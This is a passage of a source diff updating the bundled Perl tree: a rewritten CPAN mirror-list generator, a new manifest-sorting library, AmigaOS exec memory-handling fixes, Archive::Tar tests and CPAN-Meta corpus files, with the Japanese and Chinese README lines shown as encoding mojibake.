die "Error downloading $url";
}
-my $fh = IO::File->new($filename);
+die "No content" unless $response->{content};
-while ( my $line = <$fh> ) {
- chomp $line;
- last
- if $line eq
- '[Africa] [Asia] [Australasia] [Central America] [Europe] [North America] [South America]';
-}
+my $json = JSON::PP->new->utf8;
+my $mirrors = $json->decode( $response->{content} );
+my %sorted;
+my @rsync;
-my $line = <$fh>;
+foreach my $mirror ( sort { $a->{continent} cmp $b->{continent} || $a->{country} cmp $b->{country} } @{ $mirrors } ) {
+ if ( $mirror->{country} eq 'United States' ) {
+ push @{ $sorted{ $mirror->{continent} }{ $mirror->{country} }{ $mirror->{region} } }, $mirror;
+ }
+ else {
+ push @{ $sorted{ $mirror->{continent} }{ $mirror->{country} } }, $mirror;
+ }
+}
say 'Registered CPAN sites';
say '';
@@ -34,58 +43,48 @@ say '=for maintainers';
say 'Generated by Porting/make_modlib_cpan.pl';
say '';
-my $continent;
-my $country;
-my $state;
-
-while ( my $line = <$fh> ) {
- chomp $line;
- next if $line =~ /^\s+$/;
- last if $line eq 'Feedback';
-
- if ( $line =~ /^(?<continent>\w.+)$/ ) {
- if ($continent) {
- say '';
- if ($continent) {
- say "=back";
- say '';
- }
- if ( $continent eq 'North America' ) {
- say "=back";
- say '';
- }
- }
- $continent = $+{continent};
- undef $country;
- say "=head2 $continent";
- say '';
- say '=over 4';
- say '';
- } elsif ( $line =~ /^\s{3}(?<country>\w.+)$/ ) {
- if ($country) {
- say '';
- }
- $country = $+{country};
- undef $state;
- say "=item $country";
+foreach my $continent ( sort { $a cmp $b } keys %sorted ) {
+ say "=head2 $continent";
+ say '';
+ say '=over 4';
+ say '';
+ foreach my $country ( sort { $a cmp $b } keys %{ $sorted{ $continent } } ) {
+ say "=item $country";
+ say '';
+ if ( $country eq 'United States' ) {
+ say '=over 8';
+ say '';
+ foreach my $state ( sort { $a cmp $b } keys %{ $sorted{ $continent }{ $country } } ) {
+ say "=item $state";
say '';
- if ( $country eq 'United States' ) {
- say '=over 8';
- say '';
- }
- } elsif ( $line =~ /^\s{5}(?<state>\w.+)$/ ) {
- if ($state) {
- say '';
+ foreach my $mirror ( @{ $sorted{ $continent }{ $country }{ $state } } ) {
+ say " " . $mirror->{http} if $mirror->{http};
+ say " " . $mirror->{ftp} if $mirror->{ftp};
+ push @rsync, $mirror->{rsync} if $mirror->{rsync};
}
- $state = $+{state};
- say "=item $state";
say '';
- } elsif ( $line =~ /^\s{22}(?<site>\w.+$)/ ) {
- say " $+{site}";
- } else {
- die "Unknown line: $line";
+ }
+ say '=back';
+ say '';
+ }
+ else {
+ foreach my $mirror ( @{ $sorted{ $continent }{ $country } } ) {
+ say " " . $mirror->{http} if $mirror->{http};
+ say " " . $mirror->{ftp} if $mirror->{ftp};
+ push @rsync, $mirror->{rsync} if $mirror->{rsync};
+ }
+ say '';
}
+ }
+ say '=back';
+ say '';
+}
+
+say '=head2 RSYNC Mirrors';
+say '';
+
+foreach my $rsync ( @rsync ) {
+ say "\t\t$rsync";
}
say '';
-say '=back';
diff --git a/gnu/usr.bin/perl/Porting/manicheck b/gnu/usr.bin/perl/Porting/manicheck
index 1b506d928f2..b544a12252f 100644
--- a/gnu/usr.bin/perl/Porting/manicheck
+++ b/gnu/usr.bin/perl/Porting/manicheck
@@ -8,7 +8,7 @@ use strict;
use warnings;
use File::Find;
-open my $fh, 'MANIFEST' or die "Can't read MANIFEST: $!\n";
+open my $fh, '<', 'MANIFEST' or die "Can't read MANIFEST: $!\n";
my @files = map { (split)[0] } <$fh>;
close $fh;
for (@files) {
diff --git a/gnu/usr.bin/perl/Porting/manifest_lib.pl b/gnu/usr.bin/perl/Porting/manifest_lib.pl
new file mode 100644
index 00000000000..0b63046056e
--- /dev/null
+++ b/gnu/usr.bin/perl/Porting/manifest_lib.pl
@@ -0,0 +1,53 @@
+#!/usr/bin/perl
+
+use strict;
+
+=head1 NAME
+
+Porting/manifest_lib.pl - functions for managing manifests
+
+=head1 SYNOPSIS
+
+ require './Porting/manifest_lib.pl';
+
+=head1 DESCRIPTION
+
+=head2 C<sort_manifest>
+
+Treats its arguments as (chomped) lines from a MANIFEST file, and returns that
+listed sorted appropriately.
+
+=cut
+
+# Try to get a sane sort. case insensitive, more or less
+# sorted such that path components are compared independently,
+# and so that lib/Foo/Bar sorts before lib/Foo-Alpha/Baz
+# and so that lib/Foo/Bar.pm sorts before lib/Foo/Bar/Alpha.pm
+# and so that configure and Configure sort together.
+sub sort_manifest {
+ return
+ # case insensitive sorting of directory components independently.
+ map { $_->[0] } # extract the full line
+ sort {
+ $a->[1] cmp $b->[1] || # sort in order of munged filename
+ $a->[0] cmp $b->[0] # then by the exact text in full line
+ }
+ map {
+ # split out the filename and the description
+ my ($f) = split /\s+/, $_, 2;
+ # lc the filename so Configure and configure sort together in the list
+ my $m= lc $f; # $m for munged
+ # replace slashes by nulls, this makes short directory names sort before
+ # longer ones, such as "foo/" sorting before "foo-bar/"
+ $m =~ s!/!\0!g;
+ # replace the extension (only one) by null null extension.
+ # this puts any foo/blah.ext before any files in foo/blah/
+ $m =~ s!(\.[^.]+\z)!\0\0$1!;
+ # return the original string, and the munged filename
+ [ $_, $m ];
+ } @_;
+}
+
+1;
+
+# ex: set ts=8 sts=4 sw=4 et:
diff --git a/gnu/usr.bin/perl/Porting/manisort b/gnu/usr.bin/perl/Porting/manisort
index 6cf7d927177..167aada7345 100644
--- a/gnu/usr.bin/perl/Porting/manisort
+++ b/gnu/usr.bin/perl/Porting/manisort
@@ -14,6 +14,7 @@ $| = 1;
# Get command line options
use Getopt::Long;
+require "./Porting/manifest_lib.pl";
my $outfile;
my $check_only = 0;
my $quiet = 0;
@@ -30,13 +31,10 @@ my @manifest = <$IN>;
close($IN) or die($!);
chomp(@manifest);
-# Sort by dictionary order (ignore-case and
-# consider whitespace and alphanumeric only)
-my @sorted = sort {
- (my $aa = $a) =~ s/[^\s\da-zA-Z]//g;
- (my $bb = $b) =~ s/[^\s\da-zA-Z]//g;
- uc($aa) cmp uc($bb)
- } @manifest;
+my %seen= ( '' => 1 ); # filter out blank lines
+my @sorted = grep { !$seen{$_}++ }
+ sort_manifest(@manifest)
+;
# Check if the file is sorted or not
my $exit_code = 0;
diff --git a/gnu/usr.bin/perl/Porting/mksample b/gnu/usr.bin/perl/Porting/mksample
new file mode 100755
index 00000000000..191a5e54c59
--- /dev/null
+++ b/gnu/usr.bin/perl/Porting/mksample
@@ -0,0 +1,33 @@
+#!/bin/sh
+#
+# This script can be used to keep Porting/config_H (which is an example
+# config.h) up-to-date with the latest Configure.
+
+# Original author: Andy Dougherty July 14, 1998
+
+rm -f config.sh Policy.sh
+cat >Policy.sh <<'EOP'
+libswanted="cl pthread $libswanted"
+EOP
+
+sh ./Configure -Dprefix=/opt/perl \
+ -Dcf_by='yourname' \
+ -Dcf_email='yourname@yourhost.yourplace.com' \
+ -Dperladmin='yourname@yourhost.yourplace.com' \
+ -Dmydomain='.yourplace.com' \
+ -Dmyhostname='yourhost' \
+ -Duse64bitint \
+ -Dusedevel \
+ -dE
+test $? = 0 || exit 1
+chmod u+w Porting Porting/config*
+cp config.sh Porting/config.sh
+sh config_h.SH
+cat <<'EOCP' > Porting/config_H
+/* This file (config_H) is a sample config.h file. If you are unable
+ to successfully run Configure, copy this file to config.h and
+ edit it to suit your system.
+*/
+EOCP
+cat config.h >> Porting/config_H
+rm config.sh config.h
diff --git a/gnu/usr.bin/perl/README.freebsd b/gnu/usr.bin/perl/README.freebsd
index 4bfe9741373..8e62903a886 100644
--- a/gnu/usr.bin/perl/README.freebsd
+++ b/gnu/usr.bin/perl/README.freebsd
@@ -17,24 +17,24 @@ When perl is configured to use ithreads, it will use re-entrant library calls
in preference to non-re-entrant versions. There is a bug in FreeBSD's
C<readdir_r> function in versions 4.5 and earlier that can cause a SEGV when
reading large directories. A patch for FreeBSD libc is available
-(see http://www.freebsd.org/cgi/query-pr.cgi?pr=misc/30631 )
+(see L<http://www.freebsd.org/cgi/query-pr.cgi?pr=misc/30631> )
which has been integrated into FreeBSD 4.6.
-=head2 $^X doesn't always contain a full path in FreeBSD
+=head2 C<$^X> doesn't always contain a full path in FreeBSD
perl sets C<$^X> where possible to a full path by asking the operating
system. On FreeBSD the full path of the perl interpreter is found by using
C<sysctl> with C<KERN_PROC_PATHNAME> if that is supported, else by reading
the symlink F</proc/curproc/file>. FreeBSD 7 and earlier has a bug where
either approach sometimes returns an incorrect value
-(see http://www.freebsd.org/cgi/query-pr.cgi?pr=35703 ).
+(see L<http://www.freebsd.org/cgi/query-pr.cgi?pr=35703> ).
In these cases perl will fall back to the old behaviour of using C's
-argv[0] value for C<$^X>.
+C<argv[0]> value for C<$^X>.
=head1 AUTHOR
Nicholas Clark <nick@ccl4.org>, collating wisdom supplied by Slaven Rezic
and Tim Bunce.
-Please report any errors, updates, or suggestions to F<perlbug@perl.org>.
+Please report any errors, updates, or suggestions to L<mailto:perlbug@perl.org>.
diff --git a/gnu/usr.bin/perl/README.jp b/gnu/usr.bin/perl/README.jp
index 2a1fa57939c..ac79078a1ba 100644
--- a/gnu/usr.bin/perl/README.jp
+++ b/gnu/usr.bin/perl/README.jp
@@ -57,9 +57,9 @@ Perl 自身㯠Unicode ã§å‹•作ã—ã¾ã™ã€‚Perl ã‚¹ã‚¯ãƒªãƒ—ãƒˆå†…ã®æ–‡å­—列ã
=head2 About (jcode.pl|Jcode.pm|JPerl)
-5.8以å‰ã®ã€ã‚¹ã‚¯ãƒªãƒ—トãŒEUC-JPã§ã‚れã°ãƒªãƒ†ãƒ©ãƒ«ã ã‘ã¯æ‰±ã†ã“ã¨ãŒã§ãã¾ã—ãŸã€‚ã¾ãŸã€å…¥å‡ºåŠ›ã‚’æ‰±ã†ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¨ã—ã¦ã¯Jcode.pmãŒ( http://openlab.ring.gr.jp/Jcode/ )ã€perl4用ã®ãƒ¦ãƒ¼ãƒ†ã‚£ãƒªãƒ†ã‚£ã¨ã—ã¦ã¯jcode.plãŒãれãžã‚Œå­˜åœ¨ã—ã€æ—¥æœ¬èªžã®æ‰±ãˆã‚‹CGIã§ã‚ˆã利用ã•れã¦ã„ã‚‹ã“ã¨ã‚’御存ã˜ã®æ–¹ã‚‚å°‘ãªããªã„ã‹ã¨æ€ã‚れã¾ã™ã€‚ãŸã ã—ã€æ—¥æœ¬èªžã«ã‚ˆã‚‹æ­£è¦è¡¨ç¾ã‚’ã†ã¾ã扱ã†ã“ã¨ã¯ä¸å¯èƒ½ã§ã—ãŸã€‚
+5.8以å‰ã®ã€ã‚¹ã‚¯ãƒªãƒ—トãŒEUC-JPã§ã‚れã°ãƒªãƒ†ãƒ©ãƒ«ã ã‘ã¯æ‰±ã†ã“ã¨ãŒã§ãã¾ã—ãŸã€‚ã¾ãŸã€å…¥å‡ºåŠ›ã‚’æ‰±ã†ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¨ã—ã¦ã¯Jcode.pmãŒ( L<http://openlab.ring.gr.jp/Jcode/> )ã€perl4用ã®ãƒ¦ãƒ¼ãƒ†ã‚£ãƒªãƒ†ã‚£ã¨ã—ã¦ã¯jcode.plãŒãれãžã‚Œå­˜åœ¨ã—ã€æ—¥æœ¬èªžã®æ‰±ãˆã‚‹CGIã§ã‚ˆã利用ã•れã¦ã„ã‚‹ã“ã¨ã‚’御存ã˜ã®æ–¹ã‚‚å°‘ãªããªã„ã‹ã¨æ€ã‚れã¾ã™ã€‚ãŸã ã—ã€æ—¥æœ¬èªžã«ã‚ˆã‚‹æ­£è¦è¡¨ç¾ã‚’ã†ã¾ã扱ã†ã“ã¨ã¯ä¸å¯èƒ½ã§ã—ãŸã€‚
-5.005以å‰ã®Perlã«ã¯ã€æ—¥æœ¬èªžã«ç‰¹åŒ–ã—ãŸãƒ­ãƒ¼ã‚«ãƒ©ã‚¤ã‚ºç‰ˆã€JperlãŒå­˜åœ¨ã—ã¾ã—ãŸ( http://homepage2.nifty.com/kipp/perl/jperl/index.html )。ã¾ãŸã€Mac OS 9.x/Classic用ã®Perlã€MacPerlã®æ—¥æœ¬èªžç‰ˆã‚‚MacJPerlã¨ã—ã¦å­˜åœ¨ã—ã¦ã¾ã—ãŸã€‚( http://habilis.net/macjperl/ ).ã“れらã§ã¯æ–‡å­—コードã¨ã—ã¦EUC-JPã«åŠ ãˆShift_JISã‚‚ãã®ã¾ã¾æ‰±ã†ã“ã¨ãŒã§ãã€ã¾ãŸæ—¥æœ¬èªžã«ã‚ˆã‚‹æ­£è¦è¡¨ç¾ã‚’扱ã†ã“ã¨ã‚‚å¯èƒ½ã§ã—ãŸã€‚
+5.005以å‰ã®Perlã«ã¯ã€æ—¥æœ¬èªžã«ç‰¹åŒ–ã—ãŸãƒ­ãƒ¼ã‚«ãƒ©ã‚¤ã‚ºç‰ˆã€JperlãŒå­˜åœ¨ã—ã¾ã—ãŸ( L<http://homepage2.nifty.com/kipp/perl/jperl/index.html> )。ã¾ãŸã€Mac OS 9.x/Classic用ã®Perlã€MacPerlã®æ—¥æœ¬èªžç‰ˆã‚‚MacJPerlã¨ã—ã¦å­˜åœ¨ã—ã¦ã¾ã—ãŸã€‚( L<http://habilis.net/macjperl/> ).ã“れらã§ã¯æ–‡å­—コードã¨ã—ã¦EUC-JPã«åŠ ãˆShift_JISã‚‚ãã®ã¾ã¾æ‰±ã†ã“ã¨ãŒã§ãã€ã¾ãŸæ—¥æœ¬èªžã«ã‚ˆã‚‹æ­£è¦è¡¨ç¾ã‚’扱ã†ã“ã¨ã‚‚å¯èƒ½ã§ã—ãŸã€‚
Perl5.8ã§ã¯ã€ã“ã‚Œã‚‰ã®æ©Ÿèƒ½ãŒã™ã¹ã¦Perl本体ã ã‘ã§å®Ÿç¾ã§ãる上ã«ã€æ—¥æœ¬èªžã®ã¿ãªã‚‰ãšä¸Šè¨˜114ã®æ–‡å­—コードをã™ã¹ã¦ã€ã—ã‹ã‚‚åŒæ™‚ã«æ‰±ã†ã“ã¨ãŒã§ãã¾ã™ã€‚ã•らã«ã€CPANãªã©ã‹ã‚‰æ–°ã—ã„æ–‡å­—コード用ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã‚’入手ã™ã‚‹ã“ã¨ã‚‚ç°¡å˜ã«ã§ãるよã†ã«ãªã£ã¦ã„ã¾ã™ã€‚
diff --git a/gnu/usr.bin/perl/README.tw b/gnu/usr.bin/perl/README.tw
index 5944bd86686..f5588a8abea 100644
--- a/gnu/usr.bin/perl/README.tw
+++ b/gnu/usr.bin/perl/README.tw
@@ -101,10 +101,6 @@ Perl 郵éžè«–壇一覽
正體中文版的æ­èŠç¦® Perl 書藉
-=item L<http://groups.google.com/groups?q=tw.bbs.comp.lang.perl>
-
-è‡ºç£ Perl é€£ç·šè¨Žè«–å€ (也就是å„大 BBS çš„ Perl 連線版)
-
=back
=head2 Perl 使用者集會
diff --git a/gnu/usr.bin/perl/amigaos4/amigaio.c b/gnu/usr.bin/perl/amigaos4/amigaio.c
index 205e3d5eb43..edc237a033c 100644
--- a/gnu/usr.bin/perl/amigaos4/amigaio.c
+++ b/gnu/usr.bin/perl/amigaos4/amigaio.c
@@ -646,7 +646,7 @@ static void S_exec_failed(pTHX_ const char *cmd, int fd, int do_report)
static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report)
{
dVAR;
- const char **a;
+ const char **argv, **a;
char *s;
char *buf;
char *cmd;
@@ -656,7 +656,9 @@ static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report)
PERL_ARGS_ASSERT_DO_EXEC3;
+ ENTER;
Newx(buf, cmdlen, char);
+ SAVEFREEPV(buf);
cmd = buf;
memcpy(cmd, incmd, cmdlen);
@@ -668,7 +670,7 @@ static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report)
if (*cmd == '.' && isSPACE(cmd[1]))
goto doshell;
- if (strnEQ(cmd, "exec", 4) && isSPACE(cmd[4]))
+ if (strBEGINs(cmd, "exec") && isSPACE(cmd[4]))
goto doshell;
s = cmd;
@@ -709,15 +711,16 @@ doshell:
PERL_FPU_POST_EXEC
S_exec_failed(aTHX_ PL_sh_path, fd, do_report);
amigaos_post_exec(fd, do_report);
- Safefree(buf);
- return result;
+ goto leave;
}
}
- Newx(PL_Argv, (s - cmd) / 2 + 2, const char *);
- PL_Cmd = savepvn(cmd, s - cmd);
- a = PL_Argv;
- for (s = PL_Cmd; *s;)
+ Newx(argv, (s - cmd) / 2 + 2, const char *);
+ SAVEFREEPV(argv);
+ cmd = savepvn(cmd, s - cmd);
+ SAVEFREEPV(cmd);
+ a = argv;
+ for (s = cmd; *s;)
{
while (isSPACE(*s))
s++;
@@ -729,22 +732,18 @@ doshell:
*s++ = '\0';
}
*a = NULL;
- if (PL_Argv[0])
+ if (argv[0])
{
PERL_FPU_PRE_EXEC
- result = myexecvp(FALSE, PL_Argv[0], EXEC_ARGV_CAST(PL_Argv));
+ result = myexecvp(FALSE, argv[0], EXEC_ARGV_CAST(argv));
PERL_FPU_POST_EXEC
- if (errno == ENOEXEC)
- {
- /* for system V NIH syndrome */
- do_execfree();
+ if (errno == ENOEXEC) /* for system V NIH syndrome */
goto doshell;
- }
- S_exec_failed(aTHX_ PL_Argv[0], fd, do_report);
+ S_exec_failed(aTHX_ argv[0], fd, do_report);
amigaos_post_exec(fd, do_report);
}
- do_execfree();
- Safefree(buf);
+leave:
+ LEAVE;
return result;
}
@@ -754,42 +753,47 @@ I32 S_do_amigaos_aexec5(
dVAR;
I32 result = -1;
PERL_ARGS_ASSERT_DO_AEXEC5;
+ ENTER;
if (sp > mark)
{
- const char **a;
+ const char **argv, **a;
const char *tmps = NULL;
- Newx(PL_Argv, sp - mark + 1, const char *);
- a = PL_Argv;
+ Newx(argv, sp - mark + 1, const char *);
+ SAVEFREEPV(argv);
+ a = argv;
while (++mark <= sp)
{
- if (*mark)
- *a++ = SvPV_nolen_const(*mark);
- else
+ if (*mark) {
+ char *arg = savepv(SvPV_nolen_const(*mark));
+ SAVEFREEPV(arg);
+ *a++ = arg;
+ } else
*a++ = "";
}
*a = NULL;
- if (really)
- tmps = SvPV_nolen_const(really);
- if ((!really && *PL_Argv[0] != '/') ||
+ if (really) {
+ tmps = savepv(SvPV_nolen_const(really));
+ SAVEFREEPV(tmps);
+ }
+ if ((!really && *argv[0] != '/') ||
(really && *tmps != '/')) /* will execvp use PATH? */
TAINT_ENV(); /* testing IFS here is overkill, probably
*/
PERL_FPU_PRE_EXEC
if (really && *tmps)
{
- result = myexecvp(FALSE, tmps, EXEC_ARGV_CAST(PL_Argv));
+ result = myexecvp(FALSE, tmps, EXEC_ARGV_CAST(argv));
}
else
{
- result = myexecvp(FALSE, PL_Argv[0],
- EXEC_ARGV_CAST(PL_Argv));
+ result = myexecvp(FALSE, argv[0], EXEC_ARGV_CAST(argv));
}
PERL_FPU_POST_EXEC
- S_exec_failed(aTHX_(really ? tmps : PL_Argv[0]), fd, do_report);
+ S_exec_failed(aTHX_(really ? tmps : argv[0]), fd, do_report);
}
amigaos_post_exec(fd, do_report);
- do_execfree();
+ LEAVE;
return result;
}
diff --git a/gnu/usr.bin/perl/cpan/Archive-Tar/t/04_resolved_issues.t b/gnu/usr.bin/perl/cpan/Archive-Tar/t/04_resolved_issues.t
index 4572b872be5..4991d9a67b4 100755
--- a/gnu/usr.bin/perl/cpan/Archive-Tar/t/04_resolved_issues.t
+++ b/gnu/usr.bin/perl/cpan/Archive-Tar/t/04_resolved_issues.t
@@ -247,3 +247,35 @@ use_ok( $FileClass );
clean_78030();
unlink $archname;
}
+
+### bug 97748
+### retain leading '/' for absolute pathnames.
+{ ok( 1, "Testing bug 97748" );
+ my $path= '/absolute/path';
+ my $tar = $Class->new;
+ isa_ok( $tar, $Class, " Object" );
+ my $file;
+
+ ok( $file = $tar->add_data( $path, '' ),
+ " Added $path" );
+
+ ok( $file->full_path eq $path,
+ " Paths mismatch <" . $file->full_path . "> ne <$path>" );
+}
+
+### bug 103279
+### retain trailing whitespace on filename
+{
+ ok( 1, "Testing bug 103279" );
+ my $tar = $Class->new;
+ isa_ok( $tar, $Class, " Object" );
+ ok( $tar->add_data( 'white_space ', '' ),
+ " Add file <white_space > containing filename with trailing whitespace");
+ ok( $tar->extract(), " Extract filename with trailing whitespace" );
+ SKIP: {
+ skip "Windows tries to be clever", 1 if $^O eq 'MSWin32';
+ ok( ! -e 'white_space', " <white_space> should not exist" );
+ }
+ ok( -e 'white_space ', " <white_space > should exist" );
+ unlink foreach ('white_space ', 'white_space');
+}
diff --git a/gnu/usr.bin/perl/cpan/Archive-Tar/t/09_roundtrip.t b/gnu/usr.bin/perl/cpan/Archive-Tar/t/09_roundtrip.t
new file mode 100644
index 00000000000..8fb72a80233
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Archive-Tar/t/09_roundtrip.t
@@ -0,0 +1,230 @@
+BEGIN { chdir 't' if -d 't' }
+
+use Test::More;
+use strict;
+use lib '../lib';
+
+use File::Spec ();
+use File::Temp qw( tempfile );
+
+use Archive::Tar;
+
+BEGIN {
+ eval { require IPC::Cmd; };
+ unless ( $@ ) {
+ *can_run = \&IPC::Cmd::can_run;
+ }
+ else {
+ *can_run = sub {
+ require ExtUtils::MakeMaker;
+ my $cmd = shift;
+ my $_cmd = $cmd;
+ return $_cmd if (-x $_cmd or $_cmd = MM->maybe_command($_cmd));
+ require Config;
+ for my $dir ((split /$Config::Config{path_sep}/, $ENV{PATH}), '.') {
+ next if $dir eq '';
+ require File::Spec;
+ my $abs = File::Spec->catfile($dir, $cmd, $Config::Config{exe_ext});
+ return $abs if (-x $abs or $abs = MM->maybe_command($abs));
+ }
+ return;
+ };
+ }
+}
+
+# Identify tarballs available for testing
+# Some contain only files
+# Others contain both files and directories
+
+my @file_only_archives = (
+ [qw( src short bar.tar )],
+);
+push @file_only_archives, [qw( src short foo.tgz )]
+ if Archive::Tar->has_zlib_support;
+push @file_only_archives, [qw( src short foo.tbz )]
+ if Archive::Tar->has_bzip2_support;
+
+@file_only_archives = map File::Spec->catfile(@$_), @file_only_archives;
+
+
+my @file_and_directory_archives = (
+ [qw( src long bar.tar )],
+ [qw( src linktest linktest_with_dir.tar )],
+);
+push @file_and_directory_archives, [qw( src long foo.tgz )]
+ if Archive::Tar->has_zlib_support;
+push @file_and_directory_archives, [qw( src long foo.tbz )]
+ if Archive::Tar->has_bzip2_support;
+
+@file_and_directory_archives = map File::Spec->catfile(@$_), @file_and_directory_archives;
+
+my @archives = (@file_only_archives, @file_and_directory_archives);
+plan tests => scalar @archives;
+
+# roundtrip test
+for my $archive_name (@file_only_archives) {
+
+ # create a new tarball with the same content as the old one
+ my $old = Archive::Tar->new($archive_name);
+ my $new = Archive::Tar->new();
+ $new->add_files( $old->get_files );
+
+ # save differently if compressed
+ my $ext = ( split /\./, $archive_name )[-1];
+ my @compress =
+ $ext =~ /t?gz$/ ? (COMPRESS_GZIP)
+ : $ext =~ /(tbz|bz2?)$/ ? (COMPRESS_BZIP)
+ : ();
+
+ my ( $fh, $filename ) = tempfile( UNLINK => 1 );
+ $new->write( $filename, @compress );
+
+ # read the archive again from disk
+ $new = Archive::Tar->new($filename);
+
+ # compare list of files
+ is_deeply(
+ [ $new->list_files ],
+ [ $old->list_files ],
+ "$archive_name roundtrip on file names"
+ );
+}
+
+# rt.cpan.org #115160
+# t/09_roundtrip.t was added with all 7 then existent tests marked TODO even
+# though 3 of them were passing. So what was really TODO was to figure out
+# why the other 4 were not passing.
+#
+# It turns out that the tests are expecting behavior which, though on the face
+# of it plausible and desirable, is not Archive::Tar::write()'s current
+# behavior. write() -- which is used in the unit tests in this file -- relies
+# on Archive::Tar::File::_prefix_and_file(). Since at least 2006 this helper
+# method has had the effect of removing a trailing slash from archive entries
+# which are in fact directories. So we have to adjust our expectations for
+# what we'll get when round-tripping on an archive which contains one or more
+# entries for directories.
+
+# Divine whether the external tar command can do gzip/bzip2
+# from the output of 'tar --help'.
+# GNU tar:
+# ...
+# -j, --bzip2 filter the archive through bzip2
+# -z, --gzip, --gunzip, --ungzip filter the archive through gzip
+#
+# BSD tar:
+# ....
+# -z, -j, -J, --lzma Compress archive with gzip/bzip2/xz/lzma
+# ...
+#
+# BSD tar (older)
+# tar: unknown option -- help
+# usage: tar [-]{crtux}[-befhjklmopqvwzHOPSXZ014578] [archive] [blocksize]
+# ...
+
+sub can_tar_gzip {
+ my ($tar_help) = @_;
+ return 0 unless can_run('gzip');
+ $tar_help =~ /-z, --gzip|-z,.+gzip/;
+}
+
+sub can_tar_bzip2 {
+ my ($tar_help) = @_;
+ return 0 unless can_run('bzip2');
+ $tar_help =~ /-j, --bzip2|-j,+bzip2/;
+}
+
+# The name of the external tar executable.
+my $TAR_EXE;
+
+SKIP: {
+ my $skip_count = scalar @file_and_directory_archives;
+
+ # The preferred 'tar' command may not be called tar,:
+ # especially on legacy unix systems. Test first various
+ # alternative names that are more likely to work for us.
+ #
+ my @TRY_TAR = qw[gtar gnutar bsdtar tar];
+ my $can_tar_gzip;
+ my $can_tar_bzip2;
+ for my $tar_try (@TRY_TAR) {
+ if (can_run($tar_try)) {
+ print "# Found tar executable '$tar_try'\n";
+ my $tar_help = qx{$tar_try --help 2>&1};
+ $can_tar_gzip = can_tar_gzip($tar_help);
+ $can_tar_bzip2 = can_tar_bzip2($tar_help);
+ printf "# can_tar_gzip = %d\n", $can_tar_gzip;
+ printf "# can_tar_bzip2 = %d\n", $can_tar_bzip2;
+ # We could dance more intricately and handle the case
+ # of only either of gzip and bzip2 being supported,
+ # or neither, but let's keep this simple.
+ if ($can_tar_gzip && $can_tar_bzip2) {
+ $TAR_EXE = $tar_try;
+ last;
+ }
+ }
+ }
+ unless (defined $TAR_EXE) {
+ skip("No suitable tar command found (tried: @TRY_TAR)", $skip_count);
+ }
+
+ for my $archive_name (@file_and_directory_archives) {
+ if ($^O eq 'VMS' && $TAR_EXE =~ m/gnutar$/i) {
+ $archive_name = VMS::Filespec::unixify($archive_name);
+ }
+ my $command;
+ if ($archive_name =~ m/\.tar$/) {
+ $command = "$TAR_EXE tvf $archive_name";
+ }
+ elsif ($archive_name =~ m/\.tgz$/) {
+ $command = "$TAR_EXE tzvf $archive_name";
+ }
+ elsif ($archive_name =~ m/\.tbz$/) {
+ $command = "$TAR_EXE tjvf $archive_name";
+ }
+ print "# command = '$command'\n";
+ my @contents = qx{$command};
+ if ($?) {
+ fail("Failed running '$command'");
+ } else {
+ chomp(@contents);
+ my @directory_or_not;
+ for my $entry (@contents) {
+ my $perms = (split(/\s+/ => $entry))[0];
+ my @chars = split('' => $perms);
+ push @directory_or_not,
+ ($chars[0] eq 'd' ? 1 : 0);
+ }
+
+ # create a new tarball with the same content as the old one
+ my $old = Archive::Tar->new($archive_name);
+ my $new = Archive::Tar->new();
+ $new->add_files( $old->get_files );
+
+ # save differently if compressed
+ my $ext = ( split /\./, $archive_name )[-1];
+ my @compress =
+ $ext =~ /t?gz$/ ? (COMPRESS_GZIP)
+ : $ext =~ /(tbz|bz2?)$/ ? (COMPRESS_BZIP)
+ : ();
+
+ my ( $fh, $filename ) = tempfile( UNLINK => 1 );
+ $new->write( $filename, @compress );
+
+ # read the archive again from disk
+ $new = Archive::Tar->new($filename);
+
+ # Adjust our expectations of
+ my @oldfiles = $old->list_files;
+ for (my $i = 0; $i <= $#oldfiles; $i++) {
+ chop $oldfiles[$i] if $directory_or_not[$i];
+ }
+
+ # compare list of files
+ is_deeply(
+ [ $new->list_files ],
+ [ @oldfiles ],
+ "$archive_name roundtrip on file names"
+ );
+ }
+ }
+}
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/BadMETA.yml b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/BadMETA.yml
new file mode 100644
index 00000000000..79fece368c9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/BadMETA.yml
@@ -0,0 +1,24 @@
+---
+abstract: ~
+author:
+ - 'Olivier Mengué'
+build_requires:
+ ExtUtils::MakeMaker: 6.36
+configure_requires:
+ ExtUtils::MakeMaker: 6.36
+distribution_type: module
+dynamic_config: 1
+generated_by: 'Module::Install version 1.06'
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: 1.4
+name: Foo
+no_index:
+ directory:
+ - inc
+requires:
+ perl: 5.005
+resources:
+ license: http://dev.perl.org/licenses/
+version: 0.01
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/CL018_yaml.meta b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/CL018_yaml.meta
new file mode 100644
index 00000000000..4bbac95a684
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/corpus/CL018_yaml.meta
@@ -0,0 +1,75 @@
+{
+ "abstract" : "Lexical Analyzer for Perl5",
+ "author" : [
+ "Masaaki Goshima (goccy) <goccy(at)cpan.org>"
+ ],
+ "dynamic_config" : 0,
+ "generated_by" : "Module::Build version 0.4205",
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : "2"
+ },
+ "name" : "Compiler-Lexer",
+ "no_index" : {
+ "directory" : [
+ "t",
+ "examples",
+ "builder"
+ ]
+ },
+ "prereqs" : {
+ "build" : {
+ "requires" : {
+ "ExtUtils::CBuilder" : "0"
+ }
+ },
+ "configure" : {
+ "requires" : {
+ "Module::Build" : "0.38",
+ "Module::Build::XSUtil" : "0.06"
+ }
+ }
+ },
+ "provides" : {
+ "Compiler::Lexer" : {
